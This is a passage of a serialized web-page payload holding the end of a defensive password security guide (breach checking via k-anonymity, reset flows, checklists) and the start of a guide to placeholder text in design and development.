userInputToken\n",[1560,289875,289876],{"class":1562,"line":2529},[1560,289877,11809],{"class":1570},[11,289879,289881],{"id":289880},"password-managers","Password Managers",[16,289883,289884],{},"Password managers are the single most effective tool for improving password security. They allow users to:",[41,289886,289887,289890,289893,289896],{},[44,289888,289889],{},"Generate unique, random passwords for every site",[44,289891,289892],{},"Store passwords securely (encrypted locally)",[44,289894,289895],{},"Auto-fill login forms",[44,289897,289898],{},"Sync across devices",[33,289900,289902],{"id":289901},"popular-options","Popular Options",[193,289904,289905,289917],{},[196,289906,289907],{},[199,289908,289909,289912,289914],{},[202,289910,289911],{},"Manager",[202,289913,34969],{},[202,289915,289916],{},"Key Features",[211,289918,289919,289930,289941,289952],{},[199,289920,289921,289924,289927],{},[216,289922,289923],{},"Bitwarden",[216,289925,289926],{},"Cloud\u002Fself-hosted",[216,289928,289929],{},"Open source, free tier",[199,289931,289932,289935,289938],{},[216,289933,289934],{},"1Password",[216,289936,289937],{},"Cloud",[216,289939,289940],{},"Excellent UX, travel mode",[199,289942,289943,289946,289949],{},[216,289944,289945],{},"KeePassXC",[216,289947,289948],{},"Local",[216,289950,289951],{},"Offline, fully open source",[199,289953,289954,289957,289959],{},[216,289955,289956],{},"Dashlane",[216,289958,289937],{},[216,289960,289961],{},"VPN, dark web monitoring",[33,289963,289965],{"id":289964},"encourage-adoption","Encourage Adoption",[41,289967,289968,289971,289974],{},[44,289969,289970],{},"Educate users about password managers in your app",[44,289972,289973],{},"Consider offering a free trial or integration",[44,289975,289976,289977,289979],{},"Link to our ",[98,289978,170976],{"href":170975}," for generating strong passwords",[11,289981,289983],{"id":289982},"breach-detection-and-response","Breach Detection and Response",[33,289985,289987],{"id":289986},"have-i-been-pwned-integration","Have I Been Pwned Integration",[16,289989,289990],{},"Check user passwords against known breach databases:",[135,289992,289994],{"className":1607,"code":289993,"language":1609,"meta":141,"style":141},"const axios = require('axios');\n\nasync function checkBreach(password) {\n  const crypto = require('crypto');\n  const sha1 = crypto\n    .createHash('sha1')\n    .update(password)\n    .digest('hex')\n    .toUpperCase();\n\n  const prefix = sha1.substring(0, 5);\n  const suffix = sha1.substring(5);\n\n  const response = await axios.get(\n    `https:\u002F\u002Fapi.pwnedpasswords.com\u002Frange\u002F${prefix}`\n  );\n\n  return response.data.includes(suffix);\n}\n",[143,289995,289996,290014,290018,290033,290049,290060,290072,290081,290093,290101,290105,290129,290147,290151,290168,290178,290182,290186,290198],{"__ignoreMap":141},[1560,289997,289998,290000,290003,290005,290007,290009,290012],{"class":1562,"line":1563},[1560,289999,8180],{"class":1669},[1560,290001,290002],{"class":1576}," axios",[1560,290004,8186],{"class":1669},[1560,290006,20658],{"class":1566},[1560,290008,1688],{"class":1570},[1560,290010,290011],{"class":5634},"'axios'",[1560,290013,1744],{"class":1570},[1560,290015,290016],{"class":1562,"line":337},[1560,290017,1702],{"emptyLinePlaceholder":363},[1560,290019,290020,290022,290024,290027,290029,290031],{"class":1562,"line":343},[1560,290021,82166],{"class":1669},[1560,290023,38314],{"class":1669},[1560,290025,290026],{"class":1566}," checkBreach",[1560,290028,1688],{"class":1570},[1560,290030,250647],{"class":2219},[1560,290032,9345],{"class":1570},[1560,290034,290035,290037,290039,290041,290043,290045,290047],{"class":1562,"line":365},[1560,290036,28057],{"class":1669},[1560,290038,41881],{"class":1576},[1560,290040,8186],{"class":1669},[1560,290042,20658],{"class":1566},[1560,290044,1688],{"class":1570},[1560,290046,41890],{"class":5634},[1560,290048,1744],{"class":1570},[1560,290050,290051,290053,290056,290058],{"class":1562,"line":889},[1560,290052,28057],{"class":1669},[1560,290054,290055],{"class":1576}," sha1",[1560,290057,8186],{"class":1669},[1560,290059,289540],{"class":1570},[1560,290061,290062,290064,290066,290068,290070],{"class":1562,"line":1710},[1560,290063,37982],{"class":1570},[1560,290065,151598],{"class":1566},[1560,290067,1688],{"class":1570},[1560,290069,236973],{"class":5634},[1560,290071,8252],{"class":1570},[1560,290073,290074,290076,290078],{"class":1562,"line":1717},[1560,290075,37982],{"class":1570},[1560,290077,151608],{"class":1566},[1560,290079,290080],{"class":1570},"(password)\n",[1560,290082,290083,290085,290087,290089,290091],{"class":1562,"line":1747},[1560,290084,37982],{"class":1570},[1560,290086,151614],{"class":1566},[1560,290088,1688],{"class":1570},[1560,290090,41938],{"class":5634},[1560,290092,8252],{"class":1570},[1560,290094,290095,290097,290099],{"class":1562,"line":2507},[1560,290096,37982],{"class":1570},[1560,290098,38879],{"class":1566},[1560,290100,90158],{"class":1570},[1560,290102,290103],{"class":1562,"line":2524},[1560,290104,1702],{"emptyLinePlaceholder":363},[1560,290106,290107,290109,290111,290113,290116,290119,290121,290123,290125,290127],{"class":1562,"line":2529},[1560,290108,28057],{"class":1669},[1560,290110,96922],{"class":1576},[1560,290112,8186],{"class":1669},[1560,290114,290115],{"class":1570}," sha1.",[1560,290117,290118],{"class":1566},"substring",[1560,290120,1688],{"class":1570},[1560,290122,5285],{"class":1576},[1560,290124,1459],{"class":1570},[1560,290126,13431],{"class":1576},[1560,290128,1744],{"class":1570},[1560,290130,290131,290133,290135,290137,290139,290141,290143,290145],{"class":1562,"line":2534},[1560,290132,28057],{"class":1669},[1560,290134,219870],{"class":1576},[1560,290136,8186],{"class":1669},[1560,290138,290115],{"class":1570},[1560,290140,290118],{"class":1566},[1560,290142,1688],{"class":1570},[1560,290144,13431],{"class":1576},[1560,290146,1744],{"class":1570},[1560,290148,290149],{"class":1562,"line":2542},[1560,290150,1702],{"emptyLinePlaceholder":363},[1560,290152,290153,290155,290157,290159,290161,290164,290166],{"class":1562,"line":2558},[1560,290154,28057],{"class":1669},[1560,290156,82247],{"class":1576},[1560,290158,8186],{"class":1669},[1560,290160,28065],{"class":1669},[1560,290162,290163],{"class":1570}," axios.",[1560,290165,82334],{"class":1566},[1560,290167,35957],{"class":1570},[1560,290169,290170,290173,290176],{"class":1562,"line":2570},[1560,290171,290172],{"class":5634},"    `https:\u002F\u002Fapi.pwnedpasswords.com\u002Frange\u002F${",[1560,290174,290175],{"class":1570},"prefix",[1560,290177,100442],{"class":5634},[1560,290179,290180],{"class":1562,"line":6638},[1560,290181,36075],{"class":1570},[1560,290183,290184],{"class":1562,"line":11615},[1560,290185,1702],{"emptyLinePlaceholder":363},[1560,290187,290188,290190,290193,290195],{"class":1562,"line":11621},[1560,290189,9350],{"class":1669},[1560,290191,290192],{"class":1570}," response.data.",[1560,290194,27995],{"class":1566},[1560,290196,290197],{"class":1570},"(suffix);\n",[1560,290199,290200],{"class":1562,"line":11633},[1560,290201,1585],{"class":1570},[16,290203,290204,290206],{},[47,290205,62341],{},": Use the k-anonymity approach (send only first 5 chars of hash) to protect user privacy.",[33,290208,290210],{"id":290209},"incident-response","Incident Response",[16,290212,290213],{},"When a breach occurs:",[77,290215,290216,290222,290228,290234,290240],{},[44,290217,290218,290221],{},[47,290219,290220],{},"Force password reset"," for affected accounts",[44,290223,290224,290227],{},[47,290225,290226],{},"Invalidate all sessions"," — log users out everywhere",[44,290229,290230,290233],{},[47,290231,290232],{},"Notify users"," — be transparent about what happened",[44,290235,290236,290239],{},[47,290237,290238],{},"Review logs"," — determine scope and entry point",[44,290241,290242,290245],{},[47,290243,290244],{},"Rotate secrets"," — API keys, encryption keys, etc.",[11,290247,290249],{"id":290248},"secure-password-reset-flows","Secure Password Reset Flows",[16,290251,290252],{},"A secure password reset flow:",[77,290254,290255,290261,290267,290270,290273,290276],{},[44,290256,290257,290258],{},"User requests reset → generate a ",[47,290259,290260],{},"time-limited, single-use token",[44,290262,290263,290264],{},"Send email with link → ",[143,290265,290266],{},"https:\u002F\u002Fexample.com\u002Freset?token=xyz",[44,290268,290269],{},"Validate token → check expiry and ensure it has not been used",[44,290271,290272],{},"Allow password set → enforce strength requirements",[44,290274,290275],{},"Invalidate token immediately after use",[44,290277,290278],{},"Notify user → send confirmation email",[33,290280,290281],{"id":97928},"What NOT to Do",[41,290283,290284,290287,290290,290293],{},[44,290285,290286],{},"❌ Email the new password to the user",[44,290288,290289],{},"❌ Use a permanent reset token",[44,290291,290292],{},"❌ Allow reset without confirming email",[44,290294,290295],{},"❌ Display \"user not found\" (leaks valid emails)",[11,290297,290299],{"id":290298},"organizational-policies","Organizational Policies",[33,290301,290303],{"id":290302},"for-developers","For Developers",[41,290305,290306,290309,290312,290315,290318],{},[44,290307,290308],{},"Use Argon2id with recommended parameters",[44,290310,290311],{},"Store only hashes, never plain text",[44,290313,290314],{},"Implement rate limiting on login (prevent brute force)",[44,290316,290317],{},"Log failed attempts and alert on anomalies",[44,290319,290320],{},"Use HTTPS everywhere (prevent credential interception)",[33,290322,290324],{"id":290323},"for-product-teams","For Product Teams",[41,290326,290327,290330,290333,290336,290339],{},[44,290328,290329],{},"Remove artificial password complexity rules",[44,290331,290332],{},"Allow password managers (don't block paste)",[44,290334,290335],{},"Add MFA enrollment during signup",[44,290337,290338],{},"Provide clear password requirement guidance",[44,290340,290341],{},"Offer a built-in password generator",[11,290343,290345],{"id":290344},"quick-security-checklist","Quick Security Checklist",[41,290347,290349,290355,290361,290367,290373,290379,290385,290391],{"className":290348},[4464],[44,290350,290352,290354],{"className":290351},[4468],[4470,290353],{"disabled":363,"type":4472}," Passwords are hashed with Argon2id or bcrypt (min 12 rounds)",[44,290356,290358,290360],{"className":290357},[4468],[4470,290359],{"disabled":363,"type":4472}," Each password has a unique, random salt",[44,290362,290364,290366],{"className":290363},[4468],[4470,290365],{"disabled":363,"type":4472}," MFA is available and encouraged",[44,290368,290370,290372],{"className":290369},[4468],[4470,290371],{"disabled":363,"type":4472}," Password reset tokens are single-use and time-limited",[44,290374,290376,290378],{"className":290375},[4468],[4470,290377],{"disabled":363,"type":4472}," Failed login attempts are rate-limited",[44,290380,290382,290384],{"className":290381},[4468],[4470,290383],{"disabled":363,"type":4472}," Passwords are checked against breach databases",[44,290386,290388,290390],{"className":290387},[4468],[4470,290389],{"disabled":363,"type":4472}," Minimum length is 12 characters (no arbitrary composition rules)",[44,290392,290394,290396],{"className":290393},[4468],[4470,290395],{"disabled":363,"type":4472}," Users are educated about password managers",[11,290398,257800],{"id":257799},[41,290400,290401],{},[44,290402,257805,290403],{},[98,290404,170976],{"href":170975},[2043,290406,251060],{},{"title":141,"searchDepth":337,"depth":337,"links":290408},[290409,290410,290411,290414,290419,290424,290428,290432,290436,290439,290443,290444],{"id":256641,"depth":337,"text":2776},{"id":288833,"depth":337,"text":288834},{"id":288906,"depth":337,"text":288907,"children":290412},[290413],{"id":288924,"depth":343,"text":288925},{"id":289377,"depth":337,"text":289378,"children":290415},[290416,290417,290418],{"id":289386,"depth":343,"text":289387},{"id":289413,"depth":343,"text":289414},{"id":289461,"depth":343,"text":289462},{"id":289610,"depth":337,"text":289611,"children":290420},[290421,290422,290423],{"id":289614,"depth":343,"text":289615},{"id":289629,"depth":343,"text":289630},{"id":289665,"depth":343,"text":289666},{"id":289692,"depth":337,"text":289693,"children":290425},[290426,290427],{"id":289699,"depth":343,"text":289700},{"id":289775,"depth":343,"text":289776},{"id":289880,"depth":337,"text":289881,"children":290429},[290430,290431],{"id":289901,"depth":343,"text":289902},{"id":289964,"depth":343,"text":289965},{"id":289982,"depth":337,"text":289983,"children":290433},[290434,290435],{"id":289986,"depth":343,"text":289987},{"id":290209,"depth":343,"text":290210},{"id":290248,"depth":337,"text":290249,"children":290437},[290438],{"id":97928,"depth":343,"text":290281},{"id":290298,"depth":337,"text":290299,"children":290440},[290441,290442],{"id":290302,"depth":343,"text":290303},{"id":290323,"depth":343,"text":290324},{"id":290344,"depth":337,"text":290345},{"id":257799,"depth":337,"text":257800},"Learn password security best practices for 2026: secure hashing with Argon2\u002Fbcrypt, salting, MFA, password managers, and breach prevention.",{"immutable":363},{"title":288820,"description":290445},"guides\u002Fpassword-security","HcmtQ7LG4yzpwfRneLggNogke9iuCqCnB736CcCA-Xg",{"id":290451,"title":290452,"body":290453,"date":257855,"description":292049,"extension":361,"meta":292050,"navigation":363,"path":245993,"readingTime":1747,"seo":292051,"stem":292052,"__hash__":292053},"guides\u002Fguides\u002Fplaceholder-text-best-practices.md","Placeholder Text Best Practices for Design and Development",{"type":8,"value":290454,"toc":292018},[290455,290459,290462,290465,290469,290473,290476,290480,290494,290498,290509,290513,290524,290547,290551,290554,290558,290572,290576,290586,290590,290601,290680,290684,290687,290691,290705,290709,290720,290724,290735,290739,290742,290746,290757,290761,290772,290776,290787,290791,290793,290796,290801,290828,290833,290851,290866,290868,290871,290891,290893,290917,290919,290923,290926,290931,291110,291114,291117,291179,291183,291186,291192,291198,291202,291205,291241,291245,291249,291255,291266,291375,291379,291384,291395,291399,291404,291415,291419,291424,291435,291577,291581,291657,291661,291820,291824,291827,291852,292006,292008,292015],[11,290456,290458],{"id":290457},"what-is-placeholder-text","What is Placeholder Text?",[16,290460,290461],{},"Placeholder text serves as temporary content in design mockups, prototypes, and development environments. Its primary purpose is to demonstrate layout, typography, and visual hierarchy without requiring final, approved content.",[16,290463,290464],{},"But not all placeholder text is created equal. The type you choose can significantly impact design decisions, stakeholder feedback, and the ultimate success of your project.",[11,290466,290468],{"id":290467},"types-of-placeholder-text","Types of Placeholder Text",[33,290470,290472],{"id":290471},"_1-lorem-ipsum-traditional-dummy-text","1. Lorem Ipsum (Traditional Dummy Text)",[16,290474,290475],{},"Lorem Ipsum is the classic choice, dating back to the 1500s. It's a scrambled version of Cicero's \"De Finibus Bonorum et Malorum.\"",[16,290477,290478],{},[47,290479,37212],{},[41,290481,290482,290485,290488,290491],{},[44,290483,290484],{},"Universally recognized as placeholder",[44,290486,290487],{},"Distraction-free—stakeholders won't try to \"fix\" the content",[44,290489,290490],{},"Realistic letter frequency and word length distribution",[44,290492,290493],{},"Built into most design tools and frameworks",[16,290495,290496],{},[47,290497,37216],{},[41,290499,290500,290503,290506],{},[44,290501,290502],{},"No semantic meaning—doesn't represent actual content structure",[44,290504,290505],{},"Can't test content-driven layout issues",[44,290507,290508],{},"May cause stakeholders to focus on design rather than content needs",[16,290510,290511],{},[47,290512,275600],{},[41,290514,290515,290518,290521],{},[44,290516,290517],{},"Early-stage wireframing",[44,290519,290520],{},"Visual design exploration",[44,290522,290523],{},"When you want zero content distraction",[135,290525,290527],{"className":6417,"code":290526,"language":6419,"meta":141,"style":141},"\u003C!-- Lorem Ipsum example -->\n\u003Cp>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\u003C\u002Fp>\n",[143,290528,290529,290534],{"__ignoreMap":141},[1560,290530,290531],{"class":1562,"line":1563},[1560,290532,290533],{"class":1649},"\u003C!-- Lorem Ipsum example -->\n",[1560,290535,290536,290538,290540,290543,290545],{"class":1562,"line":337},[1560,290537,6431],{"class":1570},[1560,290539,16],{"class":2484},[1560,290541,290542],{"class":1570},">Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\u003C\u002F",[1560,290544,16],{"class":2484},[1560,290546,6441],{"class":1570},[33,290548,290550],{"id":290549},"_2-realisticcontextual-placeholder-text","2. Realistic\u002FContextual Placeholder Text",[16,290552,290553],{},"This approach uses text that mimics the actual content type your project will contain.",[16,290555,290556],{},[47,290557,37212],{},[41,290559,290560,290563,290566,290569],{},[44,290561,290562],{},"Reveals content-driven design problems early",[44,290564,290565],{},"Helps stakeholders visualize the final product",[44,290567,290568],{},"Tests edge cases like long headlines or short descriptions",[44,290570,290571],{},"Better for content-first design approaches",[16,290573,290574],{},[47,290575,37216],{},[41,290577,290578,290581,290583],{},[44,290579,290580],{},"Time-consuming to create",[44,290582,275773],{},[44,290584,290585],{},"Can bias design decisions toward the specific example",[16,290587,290588],{},[47,290589,275600],{},[41,290591,290592,290595,290598],{},[44,290593,290594],{},"Later-stage prototypes",[44,290596,290597],{},"When content structure is known",[44,290599,290600],{},"For user testing with realistic scenarios",[135,290602,290604],{"className":6417,"code":290603,"language":6419,"meta":141,"style":141},"\u003C!-- Contextual placeholder for a blog card -->\n\u003Cdiv class=\"blog-card\">\n  \u003Ch2>10 Tips for Better CSS Performance\u003C\u002Fh2>\n  \u003Cp>Learn how to optimize your CSS for faster page loads, including techniques for minimizing specificity, removing unused styles, and leveraging modern CSS features.\u003C\u002Fp>\n  \u003Cspan class=\"meta\">Published on Jan 15, 2026 • 8 min read\u003C\u002Fspan>\n\u003C\u002Fdiv>\n",[143,290605,290606,290611,290626,290639,290652,290672],{"__ignoreMap":141},[1560,290607,290608],{"class":1562,"line":1563},[1560,290609,290610],{"class":1649},"\u003C!-- Contextual placeholder for a blog card -->\n",[1560,290612,290613,290615,290617,290619,290621,290624],{"class":1562,"line":337},[1560,290614,6431],{"class":1570},[1560,290616,7291],{"class":2484},[1560,290618,11423],{"class":1566},[1560,290620,7297],{"class":1570},[1560,290622,290623],{"class":5634},"\"blog-card\"",[1560,290625,6441],{"class":1570},[1560,290627,290628,290630,290632,290635,290637],{"class":1562,"line":343},[1560,290629,11223],{"class":1570},[1560,290631,11],{"class":2484},[1560,290633,290634],{"class":1570},">10 Tips for Better CSS Performance\u003C\u002F",[1560,290636,11],{"class":2484},[1560,290638,6441],{"class":1570},[1560,290640,290641,290643,290645,290648,290650],{"class":1562,"line":365},[1560,290642,11223],{"class":1570},[1560,290644,16],{"class":2484},[1560,290646,290647],{"class":1570},">Learn how to optimize your CSS for faster page loads, including techniques for minimizing specificity, removing unused styles, and leveraging modern CSS features.\u003C\u002F",[1560,290649,16],{"class":2484},[1560,290651,6441],{"class":1570},[1560,290653,290654,290656,290658,290660,290662,290665,290668,290670],{"class":1562,"line":889},[1560,290655,11223],{"class":1570},[1560,290657,1560],{"class":2484},[1560,290659,11423],{"class":1566},[1560,290661,7297],{"class":1570},[1560,290663,290664],{"class":5634},"\"meta\"",[1560,290666,290667],{"class":1570},">Published on Jan 15, 2026 • 8 min read\u003C\u002F",[1560,290669,1560],{"class":2484},[1560,290671,6441],{"class":1570},[1560,290673,290674,290676,290678],{"class":1562,"line":1710},[1560,290675,11242],{"class":1570},[1560,290677,7291],{"class":2484},[1560,290679,6441],{"class":1570},[33,290681,290683],{"id":290682},"_3-ai-generated-placeholder-text","3. AI-Generated Placeholder Text",[16,290685,290686],{},"Modern AI tools can generate contextually relevant placeholder content on demand.",[16,290688,290689],{},[47,290690,37212],{},[41,290692,290693,290696,290699,290702],{},[44,290694,290695],{},"Highly relevant to your domain",[44,290697,290698],{},"Can match your brand voice",[44,290700,290701],{},"Generates variations easily",[44,290703,290704],{},"Can create multiple content lengths",[16,290706,290707],{},[47,290708,37216],{},[41,290710,290711,290714,290717],{},[44,290712,290713],{},"Requires tool access and prompt crafting",[44,290715,290716],{},"May produce content that's too \"interesting\"",[44,290718,290719],{},"Potential copyright\u002Fethical concerns if not careful",[16,290721,290722],{},[47,290723,275600],{},[41,290725,290726,290729,290732],{},[44,290727,290728],{},"When you need domain-specific examples",[44,290730,290731],{},"For marketing sites where tone matters",[44,290733,290734],{},"When generating multiple content variations",[33,290736,290738],{"id":290737},"_4-simple-character-repetition","4. Simple Character Repetition",[16,290740,290741],{},"Using repeated characters like \"aaaa\" or \"xxxx\" for quick mockups.",[16,290743,290744],{},[47,290745,37212],{},[41,290747,290748,290751,290754],{},[44,290749,290750],{},"Extremely fast",[44,290752,290753],{},"Clearly placeholder (no confusion with real content)",[44,290755,290756],{},"Good for testing overflow and truncation",[16,290758,290759],{},[47,290760,37216],{},[41,290762,290763,290766,290769],{},[44,290764,290765],{},"Unrealistic letter frequency",[44,290767,290768],{},"Ugly and distracting",[44,290770,290771],{},"Doesn't test typography effectively",[16,290773,290774],{},[47,290775,275600],{},[41,290777,290778,290781,290784],{},[44,290779,290780],{},"Quick internal wireframes",[44,290782,290783],{},"Testing text overflow behavior",[44,290785,290786],{},"When you literally don't care about appearance",[11,290788,290790],{"id":290789},"placeholder-text-in-design-tools","Placeholder Text in Design Tools",[33,290792,156195],{"id":156194},[16,290794,290795],{},"Figma offers several options for placeholder text:",[16,290797,290798],{},[47,290799,290800],{},"Built-in Lorem Ipsum:",[77,290802,290803,290806,290815,290821],{},[44,290804,290805],{},"Select a text layer",[44,290807,290808,290809,1531,290812],{},"Type ",[143,290810,290811],{},"lorem",[143,290813,290814],{},"lipsum",[44,290816,290817,290818,290820],{},"Press ",[143,290819,97195],{}," to generate a paragraph",[44,290822,290823,290824,290827],{},"Adjust word count: ",[143,290825,290826],{},"lorem50"," for 50 words",[16,290829,290830],{},[47,290831,290832],{},"Plugins for Better Placeholders:",[41,290834,290835,290840,290846],{},[44,290836,290837,290839],{},[47,290838,156212],{},": Insert realistic placeholder content (names, dates, images)",[44,290841,290842,290845],{},[47,290843,290844],{},"Design Content",": Sync content from a spreadsheet",[44,290847,290848,290850],{},[47,290849,6716],{},": More control over generated text",[135,290852,290854],{"className":1607,"code":290853,"language":1609,"meta":141,"style":141},"\u002F\u002F Figma plugin example: Content Reel\n\u002F\u002F Insert → Content Reel → Select content type → Apply\n",[143,290855,290856,290861],{"__ignoreMap":141},[1560,290857,290858],{"class":1562,"line":1563},[1560,290859,290860],{"class":1649},"\u002F\u002F Figma plugin example: Content Reel\n",[1560,290862,290863],{"class":1562,"line":337},[1560,290864,290865],{"class":1649},"\u002F\u002F Insert → Content Reel → Select content type → Apply\n",[33,290867,156217],{"id":156216},[16,290869,290870],{},"Sketch has long included placeholder text features:",[41,290872,290873,290879,290885],{},[44,290874,290875,290878],{},[47,290876,290877],{},"Insert → Text → Placeholder Text",": Generates Lorem Ipsum",[44,290880,290881,290884],{},[47,290882,290883],{},"Override with Data",": Use the \"Overrides\" panel to populate with real data",[44,290886,290887,290890],{},[47,290888,290889],{},"Sketch Data Plugin",": Pull from external sources",[33,290892,156224],{"id":156223},[41,290894,290895,290905,290911],{},[44,290896,290897,290899,290900,290902,290903],{},[47,290898,6716],{},": Type ",[143,290901,290811],{}," and press ",[143,290904,128787],{},[44,290906,290907,290910],{},[47,290908,290909],{},"Repeat Grid",": Use realistic data in repeated elements",[44,290912,290913,290916],{},[47,290914,290915],{},"Microsoft Excel Integration",": Import real content via plugins",[11,290918,7383],{"id":7382},[33,290920,290922],{"id":290921},"mistake-1-leaving-placeholder-text-in-production","Mistake 1: Leaving Placeholder Text in Production",[16,290924,290925],{},"This is the most embarrassing and damaging error. Nothing says \"unfinished\" like Lorem Ipsum on a live site.",[16,290927,290928],{},[47,290929,290930],{},"Prevention:",[135,290932,290934],{"className":1607,"code":290933,"language":1609,"meta":141,"style":141},"\u002F\u002F Add a build-time check\n\u002F\u002F In your CI\u002FCD pipeline\nconst fs = require('fs')\nconst path = require('path')\n\nfunction checkForLoremIpsum(dir) {\n  const files = fs.readdirSync(dir)\n  files.forEach(file => {\n    const filePath = path.join(dir, file)\n    const content = fs.readFileSync(filePath, 'utf8')\n    if (content.includes('Lorem ipsum')) {\n      throw new Error(`Found Lorem Ipsum in ${filePath}`)\n    }\n  })\n}\n",[143,290935,290936,290941,290946,290962,290978,290982,290996,291012,291027,291043,291062,291078,291098,291102,291106],{"__ignoreMap":141},[1560,290937,290938],{"class":1562,"line":1563},[1560,290939,290940],{"class":1649},"\u002F\u002F Add a build-time check\n",[1560,290942,290943],{"class":1562,"line":337},[1560,290944,290945],{"class":1649},"\u002F\u002F In your CI\u002FCD pipeline\n",[1560,290947,290948,290950,290952,290954,290956,290958,290960],{"class":1562,"line":343},[1560,290949,8180],{"class":1669},[1560,290951,130913],{"class":1576},[1560,290953,8186],{"class":1669},[1560,290955,20658],{"class":1566},[1560,290957,1688],{"class":1570},[1560,290959,130922],{"class":5634},[1560,290961,8252],{"class":1570},[1560,290963,290964,290966,290968,290970,290972,290974,290976],{"class":1562,"line":365},[1560,290965,8180],{"class":1669},[1560,290967,130931],{"class":1576},[1560,290969,8186],{"class":1669},[1560,290971,20658],{"class":1566},[1560,290973,1688],{"class":1570},[1560,290975,130940],{"class":5634},[1560,290977,8252],{"class":1570},[1560,290979,290980],{"class":1562,"line":889},[1560,290981,1702],{"emptyLinePlaceholder":363},[1560,290983,290984,290986,290989,290991,290994],{"class":1562,"line":1710},[1560,290985,8648],{"class":1669},[1560,290987,290988],{"class":1566}," checkForLoremIpsum",[1560,290990,1688],{"class":1570},[1560,290992,290993],{"class":2219},"dir",[1560,290995,9345],{"class":1570},[1560,290997,290998,291000,291002,291004,291006,291009],{"class":1562,"line":1717},[1560,290999,28057],{"class":1669},[1560,291001,151352],{"class":1576},[1560,291003,8186],{"class":1669},[1560,291005,131032],{"class":1570},[1560,291007,291008],{"class":1566},"readdirSync",[1560,291010,291011],{"class":1570},"(dir)\n",[1560,291013,291014,291017,291019,291021,291023,291025],{"class":1562,"line":1747},[1560,291015,291016],{"class":1570},"  files.",[1560,291018,11513],{"class":1566},[1560,291020,1688],{"class":1570},[1560,291022,110447],{"class":2219},[1560,291024,9378],{"class":1669},[1560,291026,1571],{"class":1570},[1560,291028,291029,291031,291034,291036,291038,291040],{"class":1562,"line":2507},[1560,291030,9385],{"class":1669},[1560,291032,291033],{"class":1576}," filePath",[1560,291035,8186],{"class":1669},[1560,291037,130972],{"class":1570},[1560,291039,9459],{"class":1566},[1560,291041,291042],{"class":1570},"(dir, file)\n",[1560,291044,291045,291047,291049,291051,291053,291055,291058,291060],{"class":1562,"line":2524},[1560,291046,9385],{"class":1669},[1560,291048,108854],{"class":1576},[1560,291050,8186],{"class":1669},[1560,291052,131032],{"class":1570},[1560,291054,131035],{"class":1566},[1560,291056,291057],{"class":1570},"(filePath, ",[1560,291059,154602],{"class":5634},[1560,291061,8252],{"class":1570},[1560,291063,291064,291066,291069,291071,291073,291076],{"class":1562,"line":2529},[1560,291065,11527],{"class":1669},[1560,291067,291068],{"class":1570}," (content.",[1560,291070,27995],{"class":1566},[1560,291072,1688],{"class":1570},[1560,291074,291075],{"class":5634},"'Lorem ipsum'",[1560,291077,76199],{"class":1570},[1560,291079,291080,291083,291085,291087,291089,291092,291094,291096],{"class":1562,"line":2534},[1560,291081,291082],{"class":1669},"      throw",[1560,291084,11489],{"class":1669},[1560,291086,28011],{"class":1566},[1560,291088,1688],{"class":1570},[1560,291090,291091],{"class":5634},"`Found Lorem Ipsum in ${",[1560,291093,130958],{"class":1570},[1560,291095,9582],{"class":5634},[1560,291097,8252],{"class":1570},[1560,291099,291100],{"class":1562,"line":2542},[1560,291101,11612],{"class":1570},[1560,291103,291104],{"class":1562,"line":2558},[1560,291105,22821],{"class":1570},[1560,291107,291108],{"class":1562,"line":2570},[1560,291109,1585],{"class":1570},[33,291111,291113],{"id":291112},"mistake-2-using-placeholder-images-without-aspect-ratio","Mistake 2: Using Placeholder Images Without Aspect Ratio",[16,291115,291116],{},"Lorem Picsum or similar services provide random images, but they may not match your required dimensions.",[135,291118,291120],{"className":6417,"code":291119,"language":6419,"meta":141,"style":141},"\u003C!-- ❌ Bad: image might break layout -->\n\u003Cimg src=\"https:\u002F\u002Fpicsum.photos\u002F200\" alt=\"placeholder\" \u002F>\n\n\u003C!-- ✅ Good: specify exact dimensions -->\n\u003Cimg src=\"https:\u002F\u002Fpicsum.photos\u002F800\u002F600\" alt=\"placeholder\" \u002F>\n",[143,291121,291122,291127,291149,291153,291158],{"__ignoreMap":141},[1560,291123,291124],{"class":1562,"line":1563},[1560,291125,291126],{"class":1649},"\u003C!-- ❌ Bad: image might break layout -->\n",[1560,291128,291129,291131,291133,291135,291137,291140,291142,291144,291147],{"class":1562,"line":337},[1560,291130,6431],{"class":1570},[1560,291132,10628],{"class":2484},[1560,291134,10631],{"class":1566},[1560,291136,7297],{"class":1570},[1560,291138,291139],{"class":5634},"\"https:\u002F\u002Fpicsum.photos\u002F200\"",[1560,291141,12889],{"class":1566},[1560,291143,7297],{"class":1570},[1560,291145,291146],{"class":5634},"\"placeholder\"",[1560,291148,124341],{"class":1570},[1560,291150,291151],{"class":1562,"line":343},[1560,291152,1702],{"emptyLinePlaceholder":363},[1560,291154,291155],{"class":1562,"line":365},[1560,291156,291157],{"class":1649},"\u003C!-- ✅ Good: specify exact dimensions -->\n",[1560,291159,291160,291162,291164,291166,291168,291171,291173,291175,291177],{"class":1562,"line":889},[1560,291161,6431],{"class":1570},[1560,291163,10628],{"class":2484},[1560,291165,10631],{"class":1566},[1560,291167,7297],{"class":1570},[1560,291169,291170],{"class":5634},"\"https:\u002F\u002Fpicsum.photos\u002F800\u002F600\"",[1560,291172,12889],{"class":1566},[1560,291174,7297],{"class":1570},[1560,291176,291146],{"class":5634},[1560,291178,124341],{"class":1570},[33,291180,291182],{"id":291181},"mistake-3-inconsistent-placeholder-lengths","Mistake 3: Inconsistent Placeholder Lengths",[16,291184,291185],{},"If your design assumes 2-line headlines but your placeholder is 1 line, you won't catch layout issues.",[16,291187,291188,291191],{},[47,291189,291190],{},"Best Practice:","\nCreate a placeholder content guide:",[135,291193,291196],{"className":291194,"code":291195,"language":140},[138],"Headlines: 40-60 characters (2 lines on mobile)\nSubheadings: 60-80 characters\nBody text: 150-300 characters per paragraph\nExcerpts: 100-150 characters\n",[143,291197,291195],{"__ignoreMap":141},[33,291199,291201],{"id":291200},"mistake-4-forgetting-multilingual-considerations","Mistake 4: Forgetting Multilingual Considerations",[16,291203,291204],{},"Lorem Ipsum is Latin-based and won't reveal RTL (right-to-left) layout issues.",[135,291206,291208],{"className":6417,"code":291207,"language":6419,"meta":141,"style":141},"\u003C!-- Test with Arabic placeholder for RTL -->\n\u003C!-- \"نص توضيحي هنا\" = \"Sample text here\" 